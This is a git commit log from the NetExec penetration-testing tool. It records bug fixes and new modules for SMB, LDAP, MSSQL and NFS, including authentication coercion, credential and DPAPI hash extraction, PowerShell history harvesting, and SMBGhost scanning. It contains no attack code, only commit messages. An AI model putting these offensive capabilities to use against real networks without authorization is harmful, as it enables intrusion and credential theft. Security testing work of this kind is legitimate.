https://github.com/Pennyw0rth/NetExec/blob/main/nxc/protocols/smb.py#L766

If so, the current code fails as `False` is not iterable.

This fix will check if `p` is not `False` before checking the error message in `p` 

Signed-off-by: Pixis <[email protected]>
2024-10-16 11:25:40 +02:00
Hakan Yavuz bf3973068b add mssql_coerce Module
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-16 08:48:45 +03:00
Deft_ 821741a789 Update notepad++.py
Signed-off-by: Deft_ <[email protected]>
2024-10-15 20:05:45 +02:00
Deft_ 5a364f7929 Minor code optimization
Signed-off-by: Deft_ <[email protected]>
2024-10-15 20:04:27 +02:00
Deft_ 581d5c600a Remove (little) unecessary code
Signed-off-by: Deft_ <[email protected]>
2024-10-15 20:03:02 +02:00
Deft_ a140c9479c Minor code optimization
Signed-off-by: Deft_ <[email protected]>
2024-10-15 19:59:22 +02:00
0xQRx 2a724d3cd3 Merge branch 'main' into mssql-xp-shell-add-check 2024-10-13 19:48:37 -04:00
Alex 6d4fdfdb2d Merge pull request #448 from Pennyw0rth/v1.3.0
Release v1.3.0
2024-10-13 22:02:56 +02:00
Deft_ 3c197634b2 Delete nxc/modules/recent_files.py (clownface)
Signed-off-by: Deft_ <[email protected]>
2024-10-13 21:52:19 +02:00
Deft_ 26e08ca6a0 Update runasppl.py
Signed-off-by: Deft_ <[email protected]>
2024-10-13 17:27:37 +02:00
Deft_ dadad0e3f8 Create recent_files.py
Signed-off-by: Deft_ <[email protected]>
2024-10-12 20:25:53 +02:00
Deft_ 29329bfee2 Update and rename Notepad++.py to notepad++.py
Signed-off-by: Deft_ <[email protected]>
2024-10-12 19:16:01 +02:00
Deft_ 807e47200d [SMB] Powershell history module rework
Signed-off-by: Deft_ <[email protected]>
2024-10-12 18:46:22 +02:00
Alexander Neff a493c04e14 Release v1.3.0 2024-10-12 10:51:58 -04:00
Alex 485f72043e Merge pull request #446 from Pennyw0rth/fix-windows
Fix windows and encoding stuff
2024-10-12 16:17:58 +02:00
Alex 9e61764282 Merge pull request #447 from Pennyw0rth/neff-fix-loading-modules
Fix module loading for ssh, vnc and ftp
2024-10-12 16:12:16 +02:00
Alexander Neff 8211c33765 Fix module loading for ssh, vnc and ftp 2024-10-12 09:24:18 -04:00
Alex 8485417358 Removing unsupported option in py3.8 2024-10-12 15:07:35 +02:00
Alex c7164b6c3f Formating 2024-10-12 02:29:16 +02:00
Alex e583d5fbed Fix encoding for ldap results 2024-10-12 02:26:25 +02:00
Alex 15f84fd93d Fix encoding errors for log files etc when using non windows characters 2024-10-12 02:24:46 +02:00
Alex c2130aa67f Fix import errors for static binary 2024-10-12 02:23:41 +02:00
Deft_ cc5016f75a [SMB]
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:55:31 +02:00
Deft_ a804041140 [SMB] Add the --qwinsta and --tasklist options
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:52:45 +02:00
Deft_ ebb4d3e405 [SMB] Add the
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:52:04 +02:00
Deft_ f419884249 Create Notepad++.py
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:47:47 +02:00
Alex 95ac3716d7 Merge pull request #440 from ledrypotato/fix-NFS-get-large-file
Updated the  --get-file method to get large files from NFS shares
2024-10-11 00:07:41 +02:00
Alex c1f7ed3310 Merge branch 'main' into fix-NFS-get-large-file 2024-10-11 00:01:58 +02:00
Alexander Neff a0e0df2394 Remove unused variable 2024-10-10 18:01:04 -04:00
Alexander Neff 94605f18e7 Write pulled data directly to the file instead of caching it 2024-10-10 18:00:52 -04:00
Alex d61eec0146 Merge pull request #442 from Pennyw0rth/neff-improve-coerce_plus
Small fixes for coerce_plus
2024-10-10 23:51:29 +02:00
Alex b59d8238f5 Merge pull request #400 from dazzgt/bugfix/db-interface-error
refactoring to fix InterfaceError of DB
2024-10-10 23:51:04 +02:00
Alexander Neff 83a16b654b Fix PrinterBug detection 2024-10-10 17:40:13 -04:00
Alexander Neff 3ce7b6b37a Readd rpc message to success message 2024-10-10 17:39:58 -04:00
Alexander Neff b81ea6cb3a Simplify code 2024-10-10 15:25:00 -04:00
Alexander Neff a7141ae6f3 Improve handling of rpc errors for dfscoerce 2024-10-10 15:18:09 -04:00
Alex 0da4cf8455 Merge pull request #300 from lodos2005/main
Add coerce_plus Module
2024-10-10 13:24:54 +02:00
Matt Taylor e4a9352379 clean file size + implement EOF file read 2024-10-10 12:27:18 +02:00
termanix 4a47550d94 Update users and active-users ldap.py
Signed-off-by: termanix <[email protected]>
2024-10-09 23:40:02 +03:00
ledrypotato 7a86d0f045 update get-file method to get large files 2024-10-09 16:50:10 +02:00
snowpeacock aa9075e35c fix: override of exec method by default arg 2024-10-07 16:36:00 +02:00
termanix 7db7de4f1e Update ldap.py.
Added processAttributeValue Function
A new helper function was introduced to process the content of LDAP AttributeValue objects.

Updated printTable Function

Resource-Based Constrained Delegation Processing

Added Constant Variables
Constant variables were defined for userAccountControl values.

Modular Code Structure
The overall structure was made more modular; functions were clearly separated for better readability.

Signed-off-by: termanix <[email protected]>
2024-10-07 10:17:21 +03:00
Alexander Neff dadeff939d Fix NFS database to usethe new super class 2024-10-06 15:29:15 -04:00
Alexander Neff a3bc425e9f Fix merging error 2024-10-06 15:28:34 -04:00
Alex c1780a1a26 Merge pull request #411 from Pennyw0rth/neff-improve-login
Increase plaintext&hash login speeds
2024-10-06 21:20:05 +02:00
Alexander Neff 50a5b6b0de Merge branch 'main' into fix-dbs 2024-10-06 13:01:34 -04:00
Alexander Neff a4ad6895c1 Formating 2024-10-06 11:26:50 -04:00
Alex 43da2afa58 Merge pull request #435 from Pennyw0rth/neff-improve-testsuite
Improve test suite
2024-10-05 21:55:40 +02:00
Alexander Neff c1589955fd Add 2 error codes that shows a successful coercion 2024-10-05 12:21:59 -04:00
Alexander Neff 5a0f1a5a6a Change help message from NFS to get in line with other protocols 2024-10-05 09:18:15 -04:00
Alexander Neff 0dcfc7399b Add an option to show commands that produced no output as "not tested" 2024-10-04 17:07:28 -04:00
Alexander Neff 567b2bf7cc Fix spelling which prevented commands to be run by the test suite 2024-10-04 17:06:51 -04:00
Alexander Neff ed0187391c Remove domain from not implemented plaintext login to fix protocols with no auth and no domain 2024-10-04 17:06:26 -04:00
Alex 092a14f1fe Merge pull request #434 from Pennyw0rth/neff-fix-pwned-label
Fix pwned label when brute forcing with guest account enabled
2024-10-04 22:55:00 +02:00
Alexander Neff 6fa13820dc Fix pwned label when brute forcing with guest account enabled 2024-10-04 16:22:37 -04:00
Alexander Neff 85b2b6e084 Add --use-kcache to commands that require a new conn object 2024-10-04 16:11:02 -04:00
Alex 754ca2d423 Merge pull request #404 from tiyeuse/main
Add file write check on smb
2024-10-04 17:43:00 +02:00
Alexander Neff f17a61f531 Change write privs of a share to True if we can either create a file OR a directory 2024-10-04 11:34:52 -04:00
Alex e1c66357d6 Merge pull request #433 from Pennyw0rth/neff-fix-database-creation
Fix a bug with the databases when a new protocol is added
2024-10-04 17:13:28 +02:00
Alexander Neff c2dfa67c6c Fix a bug with the databases when a new protocol is added 2024-10-04 10:58:59 -04:00
Alex 27313a00b6 Merge pull request #366 from termanix/NFS-Protocol
New Protocol NFS
2024-10-03 16:10:55 +02:00
Alexander Neff 90cc0e57d7 Formating 2024-10-02 17:56:27 -04:00
Pavel Redyukov 7729139d10 Merge branch 'main' into bugfix/db-interface-error 2024-10-02 14:10:26 +03:00
termanix 41681ee1cb Fixed put-file
Signed-off-by: termanix <[email protected]>
2024-10-02 13:43:42 +03:00
termanix bbb9d15e66 e2e editted
Signed-off-by: termanix <[email protected]>
2024-10-02 09:11:42 +03:00
Alexander Neff 4ea4b5f961 Merge "main" into "NFS-Protocol" 2024-10-01 18:14:44 -04:00
Alexander Neff 998b8787a6 Change arg help 2024-10-01 17:59:24 -04:00
Alexander Neff b5f9e131ee Add error handling for upload, fix permissions for upload and fix upload for windows 2024-10-01 17:43:45 -04:00
Alexander Neff f396ff0b66 Simplify code 2024-10-01 16:39:07 -04:00
termanix 1eafa319bc fixed and done get-file for windows and linux
Signed-off-by: termanix <[email protected]>
2024-10-01 17:30:14 +03:00
Alexander Neff c1308e6186 Fix local file name 2024-09-30 19:04:33 -04:00
Alexander Neff e737dd6aca Remove unused function, fix uid detection, add comments and simplify code 2024-09-30 18:50:58 -04:00
Alexander Neff 555347752a Fix bug with uid and uid autodetection 2024-09-30 18:49:33 -04:00
termanix f95b9354b7 Renamed get file dispay name
Signed-off-by: termanix <[email protected]>
2024-09-30 23:06:45 +03:00
termanix 74d7d07b1f import os for downloaded files
Signed-off-by: termanix <[email protected]>
2024-09-30 23:00:00 +03:00
termanix fbfbcc3baa added get, puf file flags
Signed-off-by: termanix <[email protected]>
2024-09-30 22:53:49 +03:00
termanix 79ecfa8a4d uid-brute removed. Added get-file and put-file
Signed-off-by: termanix <[email protected]>
2024-09-30 22:52:24 +03:00
termanix 4ae6c195f0 Fixed --enum-shares UID bug and removed uid-brute on proto-args 2024-09-30 09:30:41 +03:00
Alexander Neff 62b535ea50 Rename Reachable Networks to Access List 2024-09-29 18:55:55 -04:00
Alexander Neff 84aa78898b Implementing UID autodetection, making the uid flag redundant 2024-09-29 18:43:06 -04:00
Alexander Neff 8c5b3617e8 Fix bug for insufficient permissions, remove unnecessary code and formating 2024-09-29 18:17:02 -04:00
termanix 9031589f0d Changed enum-shares default depth to 3 from 1
Signed-off-by: termanix <[email protected]>
2024-09-29 15:39:49 +03:00
termanix a877047ba2 all feature flags done with output
Signed-off-by: termanix <[email protected]>
2024-09-29 15:38:28 +03:00
Alexander Neff 6f24858dc0 Fix indents 2024-09-29 07:09:44 -04:00
Alexander Neff 1a38a288df Add share usage 2024-09-29 07:05:00 -04:00
Alex aef2675cee Merge pull request #406 from Pennyw0rth/neff-fix-mssql-log
Fix file logging for display messages
2024-09-28 23:02:57 +02:00
Alexander Neff b48f6945ae Added uid proto arg and rwx permission check for enum_shares 2024-09-28 16:59:39 -04:00
Alexander Neff 4cd46c7fd9 Separate enum_shares and uid_brute 2024-09-28 15:53:09 -04:00
Alexander Neff fadce581ef Improve code 2024-09-28 15:40:41 -04:00
Alexander Neff 1e624d8606 Add share permission enumeration 2024-09-28 15:40:28 -04:00
Alexander Neff c23db63b97 Add connection timeout option 2024-09-28 12:17:09 -04:00
Alexander Neff 6b5eb1a240 Remove plaintext_login as there is no such thing in NFS3 2024-09-28 11:57:28 -04:00
Alexander Neff e9ed46b6e0 Correct port description 2024-09-28 11:57:01 -04:00
Alexander Neff f05601f645 Use init as create_conn_obj function and improve code structure 2024-09-28 11:56:46 -04:00
Alexander Neff 8c39962dba Add generel disconnect instruction to be implemented by protocols 2024-09-28 11:47:11 -04:00
Alexander Neff ff194d3e0b Remove hardcoded nxc_path 2024-09-28 07:29:05 -04:00
Alexander Neff f47ebb3356 Add file&line number to debug file log 2024-09-28 07:13:02 -04:00
Alex 04a695ff93 Merge pull request #341 from 357384n/main
Add new SMB module to get the PowerShell history on all the users
2024-09-25 00:38:38 +02:00
Alex ac2dfc95e7 Merge pull request #422 from Pennyw0rth/neff-fix-maq
Fix maq module if MAQ not set
2024-09-24 23:56:22 +02:00
Pavel Redyukov 3b1eac7be5 refactoring to fix InterfaceError of DB 2024-09-23 15:21:48 +03:00
termanix ad1b421422 Fixed spam output while uid bruteforce
Signed-off-by: termanix <[email protected]>
2024-09-23 12:57:54 +03:00
Alexander Neff d89709feac Update PyNfsClient 2024-09-22 19:34:35 -04:00
Alexander Neff 045f2c291b Fix recursion depth 2024-09-22 19:28:28 -04:00
Alexander Neff f191f780a3 Renaming, simplifying code and adad recursion depth to share listing 2024-09-22 19:27:59 -04:00
Alexander Neff 78a270b57b Switch pynfsclient to our fork 2024-09-22 16:37:55 -04:00
Alexander Neff ee549ccae7 Add ipv6 message and formating 2024-09-21 12:46:59 -04:00
Alexander Neff e1ecf90a78 Formating 2024-09-21 12:04:55 -04:00
Alexander Neff 4e855f811f Properly add pynfsclient dependency 2024-09-21 12:04:39 -04:00
Alexander Neff 31b909b97d Check if there is a history before saving 2024-09-21 09:11:29 -04:00
Alexander Neff 5da577f5c3 Optimise export code 2024-09-21 09:06:13 -04:00
Alexander Neff bb95e0faa4 Add "passw" as keyword 2024-09-21 08:55:02 -04:00
Alexander Neff 1b4081e54c Simplify code and formatting 2024-09-21 08:54:09 -04:00
Alex 99d4e49ac1 Merge pull request #423 from Pennyw0rth/neff-patch-1 2024-09-20 09:27:08 +02:00
Alexander Neff d52a651bd4 Fix logger protocol when using --no-smb 2024-09-19 17:27:56 -04:00
Alexander Neff 6dbf14b87f Fix maq module if ms-DS-MachineAccountQuota is not set 2024-09-19 16:55:35 -04:00
Alexander Neff cea324c97b Fix escape sequence 2024-09-19 16:40:04 -04:00
Alex bb2f3ec13a Merge pull request #418 from a-urth/main
Encode delegate/impersonate user name string as utf8 unicode, not latin1
2024-09-18 23:37:57 +02:00
Alex 2eebb7c513 Merge pull request #417 from jsherwood0/make_version_arg_universal
Make --version switch universal so help2man will work properly
2024-09-18 23:25:42 +02:00
au 0dbea8e8a3 encode string as utf8 unicode, not latin1 2024-09-14 14:33:06 +03:00
root@devkali 9153779671 Make --version switch universal so help2man will work properly 2024-09-13 17:11:42 -04:00
deathflamingo 6477771cfe Merge pull request #1 from deathflamingo/deathflamingo-mssql-modules-1
Added new modules for mssql- namely enum_impersonate, enum_logins,, enum_links, exec_on_link, link_enable_xp, link_xpcmd
2024-09-11 15:15:42 +05:30
deathflamingo 87199f6e5c Add files via upload
Signed-off-by: deathflamingo <[email protected]>
2024-09-11 15:10:33 +05:30
termanix 509f6d1373 Update ldap.py ruff fix
Signed-off-by: termanix <[email protected]>
2024-09-05 12:38:57 +03:00
termanix a9181f469d Update ldap.py for find delegation
Added try except on header

Signed-off-by: termanix <[email protected]>
2024-09-05 12:32:23 +03:00
Alex e927f33f2b Merge pull request #407 from r4vanan/main
Smbghost scanning module
2024-09-03 01:19:44 +02:00
Alexander Neff 6e5929175c Make description more precise 2024-09-02 18:52:56 -04:00
Alexander Neff ea9acdcb40 Fix ruff linting 2024-09-02 16:51:43 -04:00
Alex 7657f9603a Merge pull request #342 from Kahvi-0/main
schtask_as Improvement - Options for custom task, file, and location.
2024-09-02 00:44:56 +02:00
Alexander Neff 0175be7b08 Added example path and os.path.join for flexibility 2024-09-01 18:38:56 -04:00
Alex 9cc44f65e7 Merge pull request #306 from jubeaz/module_wcc_add_defender
Module wcc added some defender checks
2024-09-01 21:45:09 +02:00
Vinoth Kumar 2744a2c4ed Merge branch 'Pennyw0rth:main' into main 2024-09-01 20:18:27 +05:30
Vinoth Kumar b771c28b51 removed unwanted code
Signed-off-by: Vinoth Kumar <[email protected]>
2024-09-01 20:17:54 +05:30
Alexander Neff 7070305e6c Add faster login for kerberos 2024-09-01 07:28:30 -04:00
Alexander Neff cafa670113 Create new connection object if we want to log in 2024-09-01 07:28:02 -04:00
Alex e14be335c3 Merge pull request #393 from Pennyw0rth/neff-fix-kerberos
Fix issues with kerberos and non NTLM domains
2024-09-01 12:44:29 +02:00
Vinoth Kumar 3fd8598389 Merge branch 'Pennyw0rth:main' into main 2024-08-31 09:54:11 +05:30
Alexander Neff 425ad8ea23 Remove unnecessary new line 2024-08-30 14:18:14 -04:00
Alex 45a9121bb1 Merge pull request #328 from Shad0wC0ntr0ller/pre2k
Identify Pre-Created Computer Accounts
2024-08-30 20:09:18 +02:00
Alexander Neff e4b7ea64eb Increase plaintext&hash login speeds, also only evaluate smbv1 at initialisaion 2024-08-29 18:58:06 -04:00
Alex 9bc05e55ee Merge pull request #394 from Pennyw0rth/neff-workflows
Updated github workflows
2024-08-29 14:26:25 +02:00
Alexander Neff 0034048da4 Simplify code 2024-08-28 17:34:56 -04:00
Alex e7acdc78e1 Merge pull request #409 from cauan/patch-2
ldap-checker.py Catch connection errors
2024-08-27 23:59:12 +02:00
Alexander Neff 35b4c4c63d Fix logging and improve reason text 2024-08-27 17:55:07 -04:00
Alexander Neff dfb28184a8 Improve config text 2024-08-27 17:54:49 -04:00
Alexander Neff 4a776651c1 Formating 2024-08-27 17:35:59 -04:00
Alexander Neff 1c19cbe836 Integrate new registry checks into existing code 2024-08-27 17:35:42 -04:00
Alex 62496a3863 Merge pull request #408 from cauan/patch-1
ldap-checker.py false positive fixed
2024-08-27 22:02:55 +02:00
Cauan 4a0f0381a6 Update ldap-checker.py
Changed catch all exception as suggesteed.

Signed-off-by: Cauan <[email protected]>
2024-08-27 14:32:41 +10:00
Cauan 34ac854a3c ldap-checker.py Catch connection errors
Socket connection moved into the try/catch to catch connection errors.

Signed-off-by: Cauan <[email protected]>
2024-08-26 22:10:46 +10:00
Cauan 2de896cb49 ldap-checker.py false positive fixed
run_ldap return code changed from False to None when errors are found to avoid false positives such as when connection fails.

Signed-off-by: Cauan <[email protected]>
2024-08-26 21:59:10 +10:00
Vinoth Kumar 821f20e114 Merge branch 'main' into main 2024-08-26 09:16:34 +05:30
Alexander Neff 43c1d33904 Replaced DEPRECATED with REMOVED 2024-08-25 13:36:16 -04:00
Alexander Neff 24ad5e63e2 Readd old coercion modules for deprecation warning 2024-08-25 13:34:26 -04:00
Alexander Neff 2ac0d4d543 Merge "main" into "coerce_plus" 2024-08-25 13:17:38 -04:00
Alexander Neff 4ac77486d0 Formating 2024-08-25 13:12:15 -04:00
Alexander Neff 2419d2d4d8 Fix MSEven pipe and add ports 2024-08-25 13:09:21 -04:00
Alex f9d3caab63 Merge pull request #399 from Pennyw0rth/NeffIsBack-patch-1
Add Unix availability to README.md
2024-08-25 16:28:24 +02:00
Vinoth Kumar 0cc6151a0b Smbghost module
Module to scan for SMBGhost (CVE-2020-0796) Vulnerability

Signed-off-by: Vinoth Kumar <[email protected]>
2024-08-25 19:45:57 +05:30
Alexander Neff cd9e1adcfd Delete log level filter for file logging 2024-08-25 09:46:12 -04:00
0xQRx a8954f1f32 Restore removed comment.
Signed-off-by: 0xQRx <[email protected]>
2024-08-24 18:52:46 -04:00
0xQRx 363691aa4f added is_xp_cmdshell_enabled() function to check mssql if xp_cmdshell is already enabled, to avoid altering its state 2024-08-24 18:09:12 -04:00
wil 675480c5ca Add file write check on smb 2024-08-24 19:45:52 +02:00
Alexander Neff ee9409a387 Revert 0ca3c43 as this stops some messages from getting logged to file 2024-08-24 08:50:48 -04:00
Alexander Neff f9799496ac Change README 2024-08-24 07:59:47 -04:00
Alex 83514bf2a9 Merge pull request #374 from joaovarelas/main
Add module to lookup hostname of Hyper-V host - 'hyperv-host.py'
2024-08-24 13:37:47 +02:00
Alexander Neff b9d788b8d4 Change Exception to DCERPCException and added debug log 2024-08-15 13:36:50 -04:00
joaovarelas b59f252363 Merge branch 'Pennyw0rth:main' into main 2024-08-11 11:12:32 +01:00
Alex db4c2fad2b Add Unix availability to README.md
Signed-off-by: Alex <[email protected]>
2024-08-10 23:21:28 +02:00
Alexander Neff 375611cfd5 Add another success rpc error message 2024-08-04 19:02:04 -04:00
Alexander Neff 96bff4e3aa Added ERROR_BAD_NETPATH to the positiv result list 2024-08-04 18:41:54 -04:00
Alexander Neff d82ee41d5b Remove auth_level as this breaks the coercion 2024-08-04 18:41:27 -04:00
Alexander Neff af4a28d9b9 Enable manual linting runs for first time PRs 2024-08-04 16:47:56 -04:00
Alexander Neff 5810d14038 Updated pipeline to latest versions 2024-08-04 16:47:41 -04:00
Alex 739791e33b Merge pull request #392 from Pennyw0rth/neff-fix-spider_plus
Fix spider_plus bug where len was applied to the count not an array
2024-08-04 22:38:27 +02:00
Alex e982a68b44 Merge pull request #386 from Pennyw0rth/neff-sccm
Adding SCCM LDAP Reconnaissance to NetExec
2024-08-03 19:06:09 +02:00
Alexander Neff 66da98c318 Fix laps login with kerberos 2024-08-03 10:01:55 -04:00
Alexander Neff 069fb908b0 Fix issues where we need kerberos authentication logic, but implicitely use kerberos (e.g. --use-kcache) 2024-08-03 08:44:36 -04:00
Alexander Neff 1292f0f8fb Fix spider_plus bug where len was applied to the count not an array 2024-08-02 11:57:09 -04:00
Alex f8ac2e1ff1 Merge pull request #391 from glefait/patch-1
Fix: module spider_plus with filtered folders
2024-08-02 17:42:59 +02:00
Guillem Lefait 1839c0cb4c Fix: module spider_plus with filtered folders
With option to filter folders is set and a folder matches the filter, there is a typo in the incremented counter.

The counter should be ` self.stats[f"num_{result_type}s_filtered"]`  and not `self.stats[f"{result_type}s_filtered"]`.

The latter does not exists and trigger the following error:
```
KeyError: 'folders_filtered'
```

Signed-off-by: Guillem Lefait <[email protected]>
2024-08-01 11:01:16 -04:00
Alex e76d4e98fe Merge pull request #390 from Pennyw0rth/neff-fix-mssql_priv
Fix admin check in mssql_priv
2024-08-01 14:45:01 +02:00
joaovarelas 506486fa62 Merge branch 'Pennyw0rth:main' into main 2024-07-31 08:57:51 +00:00
Alex a28c441ae2 Merge pull request #378 from nikaiw/check_admin_false_positive
Fix check admin false positive on certain target (e.g Netapp)
2024-07-28 19:59:29 +02:00
Alexander Neff 3db14d4de4 Formating 2024-07-28 12:49:35 -04:00
Alexander Neff 6afb8bba0b Adding rpc auth level 2024-07-28 12:46:59 -04:00
Alexander Neff 7bb04c92b1 Formating 2024-07-27 18:05:17 -04:00
Alex 80d03ad3ee Merge pull request #387 from Pennyw0rth/neff-fix-netbios
Stop NetBiosTimeout and error producing large stack traces
2024-07-27 20:52:09 +02:00
joaovarelas b4612ea38c trycatch and suppress errors mod hyperv-host.py 2024-07-27 19:05:59 +01:00
joaovarelas 11983af3fb Merge branch 'Pennyw0rth:main' into main 2024-07-27 17:46:23 +00:00
Alexander Neff 41a21ee838 Fix admin check in mssql_priv 2024-07-27 10:59:38 -04:00
Alex c0adbf1eb8 Merge pull request #389 from 3ldidi94/patch-1
Update handlekatz.py pypykatz import
2024-07-27 15:31:41 +02:00
3ldidi94 41b8fbb715 Update handlekatz.py
Fix pypykatz import in handlekatz

Signed-off-by: 3ldidi94 <[email protected]>
2024-07-27 13:31:20 +02:00
Alexander Neff 4504cf29d0 Add comment 2024-07-26 17:06:35 -04:00
Alexander Neff 693da7120b Stop NetBiosTimeout and error producing large stack traces 2024-07-26 16:59:48 -04:00
Alexander Neff 413e5cd5d0 Fix display bug with ip and add creds to sccmhunter 2024-07-26 15:38:31 -04:00
Alexander Neff f18c442a10 Finish SCCM string enumeration 2024-07-26 13:12:06 -04:00
zblurx 548b6d0c28 Merge pull request #384 from Pennyw0rth/zblurx-patch-1
Update dploot to 2.7.4 in pyproject.toml
2024-07-25 18:08:00 +02:00
zblurx 7b3145e6ec udpate poetry.lock 2024-07-25 17:58:15 +02:00
zblurx 0234219daa Update dploot to 2.7.4 in pyproject.toml
Signed-off-by: zblurx <[email protected]>
2024-07-25 17:47:58 +02:00
Alex cb639c8854 Merge pull request #295 from Adamkadaban/dumpSecurityQuestionsModule
add new security-questions module
2024-07-23 20:24:07 +02:00
Alexander Neff 74dcef77ce Add CAS attribute 2024-07-21 06:06:41 -04:00
termanix 18a857396c Update ldap.py, added findDelegation
Signed-off-by: termanix <[email protected]>
2024-07-21 12:59:10 +03:00
termanix 176c480beb Update proto_args, added find delegation
Signed-off-by: termanix <[email protected]>
2024-07-21 12:54:20 +03:00
Alexander Neff 21515206b4 Improve code readability 2024-07-20 17:34:49 -04:00
Alexander Neff b9882167a3 Finish SCCM basic enumeration 2024-07-20 17:24:15 -04:00
NK 6a735c1619 add an option to ioxidresolver to get only interfaces IP for IP different than targets 2024-07-20 22:43:15 +02:00
NK 703191308a Fix check admin false positive on certain target (e.g Netapp) 2024-07-20 22:00:06 +02:00
NK be9ee13290 This module automate extraction of dpapi "hash" based on the user's protected masterkey
Big thanks to @Fist0urs for the awesome groundwork
This work was presented a long time ago see https://www.synacktiv.com/ressources/univershell_2017_dpapi.pdf
Currently the module is written to only generated dpapi "hash" in the context of a Domain
(Hashcat -m 15310 or -m 15900)
This is a first ugly version, lot of room for improvement
2024-07-20 21:48:47 +02:00
joaovarelas f54deff68e edited reg query fail msgs 2024-07-20 14:29:04 +01:00
joaovarelas 43da81861f Merge branch 'Pennyw0rth:main' into main 2024-07-20 14:27:30 +01:00
Alex 398716de24 Merge pull request #376 from Pennyw0rth/neff-patch-2
Add try&except block for DCERPCExceptions to fix #373
2024-07-19 23:37:49 +02:00
Alexander Neff 4cb3b417d6 Resolve all computer dns_hostnames of all sids that have full controle over the sccm object 2024-07-19 16:51:57 -04:00
Alex a1ca2697e3 Merge branch 'main' into neff-patch-2 2024-07-19 19:21:31 +02:00
Alex 8ed41498ff Merge pull request #375 from Pennyw0rth/neff-patch-1
Fix ruff linting
2024-07-19 19:21:12 +02:00
Alexander Neff ab0af5ab4a Add try&except block for DCERPCExceptions and updated module 2024-07-19 12:27:24 -04:00
Alexander Neff 6651fb0698 Fix ruff linting 2024-07-19 12:11:58 -04:00
Alex 1839f7a5ac Merge pull request #372 from Kamuno/fix-nla-format
Fixed nla detection and error format string
2024-07-19 18:07:57 +02:00
joaovarelas 8a6fb7c67a add module hyperv-host.py 2024-07-19 16:25:39 +01:00
Christopher Beckmann a1c57ee8d2 Fixed nla detection and error format string 2024-07-19 15:43:03 +02:00
Alexander Neff 280baadf07 Add try&except block for every user so we continue if the first fails 2024-07-18 18:39:45 -04:00
Alexander Neff 766ef1e81e Update impacket 2024-07-18 18:26:56 -04:00
Alex 5ae4134ab7 Merge branch 'main' into dumpSecurityQuestionsModule 2024-07-19 00:25:54 +02:00
Alexander Neff 2575bce0d6 Swap bbreak with continue as we would only query the first user if he hasnt security questions 2024-07-18 18:23:59 -04:00
Alex 3a5c109fed Merge pull request #371 from termanix/patch-5 2024-07-18 09:46:21 +02:00
termanix 5b186f4295 Update enum_av Added Trellix EDR
Signed-off-by: termanix <[email protected]>
2024-07-17 22:58:26 +03:00
termanix e0faaf3dbf Changed uid-brute for to keep consistency with SMB 2024-07-09 09:35:09 +03:00
termanix d071631c1a Update e2e_commands.txt - bruteforceuid added
Signed-off-by: termanix <[email protected]>
2024-07-08 18:26:49 +03:00
termanix 59b6bf8f76 Update proto_args.py
Signed-off-by: termanix <[email protected]>
2024-07-08 18:13:15 +03:00
termanix 7e52f8da69 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-07-08 17:08:39 +03:00
Alex 54cad53328 Merge pull request #365 from Pennyw0rth/neff-patch-1
Remove message that could be too annoying
2024-07-06 13:34:28 +02:00
Alexander Neff e96c301721 Change fail log to debug 2024-07-06 07:04:50 -04:00
Alexander Neff 3c64d27c68 Remove message that could be too annoying 2024-07-06 06:49:40 -04:00
mpgn 71cb5e99ef Merge pull request #361 from Pennyw0rth/dcom_fix
Fix mmcexec method thanks to @ippsec AND a lot of other small things
2024-07-06 12:11:36 +02:00
Alexander Neff d036fa8c04 Fix kerberos authentication when NTLM is not available 2024-07-05 21:15:29 -04:00
Alexander Neff fbf2546172 Fix laps login with kerberos 2024-07-05 18:18:57 -04:00
Alexander Neff abb5f1d99a Simplify error log 2024-07-05 15:55:41 -04:00
Alexander Neff d9ce9e9b62 Remove unused import and simplify addition 2024-07-04 13:55:38 -04:00
Alexander Neff 4045bb4185 Deactivate kerberos auth when retrieved laps creds 2024-07-04 13:50:37 -04:00
Alexander Neff 9d8eeb80e1 Update lsassy to 3.1.12 2024-07-04 12:56:41 -04:00
mpgn f17ea75de3 fix ruff 2024-07-04 18:19:36 +02:00
mpgn 18369b1739 Remove ntlm hash for laps (as not compatible with py10) + add dns_server option to laps 2024-07-04 18:12:12 +02:00
mpgn 3c89bcb19a remove array (not great with a lot of users on the domain 2024-07-03 23:44:16 +02:00
mpgn 68c827dcf6 add try catch on db 2024-07-03 14:47:56 +02:00
mpgn eb6be54ff1 fix kerberos support is not ntlm supported with fqdn machine name 2024-07-03 12:35:57 +02:00
mpgn 852e7819e5 fix ruff test 2024-07-02 23:44:58 +02:00
mpgn 42ce37d231 if ntlm not supported (only kerberos) big big stacktrace 2024-07-02 22:10:08 +02:00
mpgn 63e8295c46 if ldap connection failed when getting info, there is no need to continue to auth 2024-07-02 20:48:59 +02:00
mpgn b86f675100 fix wrong return in loop 2024-07-02 17:11:56 +02:00
Alex ccbeb4e402 Merge pull request #357 from termanix/patch-3
Small Bug Fix on Listing SMB Shares with Kerberos Auth
2024-07-02 17:01:19 +02:00
Alexander Neff 64e78fd7cd Fixing shares function with kerberos and minor database stuff 2024-07-02 10:56:59 -04:00
Alex d8f0f41d76 Merge pull request #364 from termanix/patch-4
Bug Fix While Using Bloodhound with --use-kcache Issue #363
2024-07-02 16:43:53 +02:00
Alexander Neff 9f3a77c2ab Fix missing colon 2024-07-02 10:26:58 -04:00
termanix 63f2d6943d Update ldap.py
swapped the execution&logging lines. For if there is an error on auth file

Signed-off-by: termanix <[email protected]>
2024-07-02 17:23:07 +03:00
termanix c83895697f Bug Fix While Using Bloodhound with --use-kcache Issue #363
Signed-off-by: termanix <[email protected]>
2024-07-02 17:05:34 +03:00
mpgn 98236804ab fix stacktrace with logger 2024-07-02 15:21:32 +02:00
Alexander Neff f9b61391ca Add logging statement to dcom connection 2024-07-02 07:33:56 -04:00
Alexander Neff 5b931d0cfa Fix add-computer if domain could not be resolved 2024-07-01 17:32:15 -04:00
Adamkadaban 0d5ac4e59e fix find/replace nonsense 2024-06-30 18:07:55 -07:00
Adamkadaban 45e1f0815f make variable names pythonic 2024-06-30 17:54:39 -07:00
Adam Hassan 21b1cfbb8c Merge branch 'Pennyw0rth:main' into dumpSecurityQuestionsModule 2024-06-30 17:49:55 -07:00
Alexander Neff 018ad9dbe7 Working on SCCM enumeration 2024-06-30 20:25:22 -04:00
Alexander Neff 1f83e6393f Fix bug where ldap parser would not parse all values of an attribute containing a list 2024-06-30 20:25:06 -04:00
